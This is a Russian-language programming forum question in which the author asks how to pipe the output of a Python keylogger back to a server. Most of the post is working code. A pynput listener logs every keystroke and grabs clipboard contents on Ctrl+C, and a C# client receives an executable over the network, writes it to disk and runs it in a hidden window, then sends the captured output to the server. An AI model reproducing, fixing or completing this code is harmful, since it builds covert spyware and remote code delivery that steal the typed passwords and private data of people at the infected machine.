Чтение нажатой клавиши из процесса и передача ее обратно на сервер - PullRequest
0 голосов
/ 06 мая 2020

Я пишу небольшую программу на C# с сервером-клиентом, и я хочу передать клиенту кейлоггер, который написан на Python, то есть задача - распечатать на экране нажатую клавишу.

Вот код кейлоггера:

import pyperclip  # to access the keyboard
from pynput.keyboard import Listener,KeyCode

def on_press(key):     
    print("\n",key)
    if key == KeyCode.from_char('\x03'): #\x03 is the combination of ctrl+c
        clipboard_data = pyperclip.paste()
        print("\nthe user have copied " + clipboard_data)

listener = Listener(on_press=on_press)  # event
listener.start()
listener.join()

Я передаю его клиенту с помощью byte[], а затем клиент создает новый файл и записывает данные из byte[] в файл.

После того, как файл будет создан и его можно будет использовать в качестве регистратора ключей, я хочу активировать его процессом и передать нажатые клавиши обратно на сервер.

Я попробовал RedirectStandardOutput = true, чтобы я мог прочитать, что нажатая клавиша будет распечатана в процессе, но это не сработало.

Есть два метода Rx(), которые используются для получения данных с сервера и TxC(some message), который используется для передачи данных на сервер, оба метода работают, я тестировал их раньше !!

byte[] b1 = Rx();    // receiving file data
string path = string.Format("p{0}.exe", DateTime.Now.ToString("yyyy-MM-dd,HH.mm.ss"));
FileStream file = File.Create(path);
file.Write(b1, 0, b1.Length);
file.Close();

try
{
    var process = new Process
     {
        StartInfo = new ProcessStartInfo
          {
             FileName = file.Name,
             UseShellExecute = false,
             RedirectStandardOutput = true,
             CreateNoWindow = true
          }
      };
      process.Start();

      while (!process.HasExited)
      {
          string m = process.StandardOutput.ReadToEnd();
          TxC(m);
    }
}
catch
{
    bool b = false
    TxC(b);
}

Если кому-то нужны дополнительные объяснения, спрашивайте в комментариях

...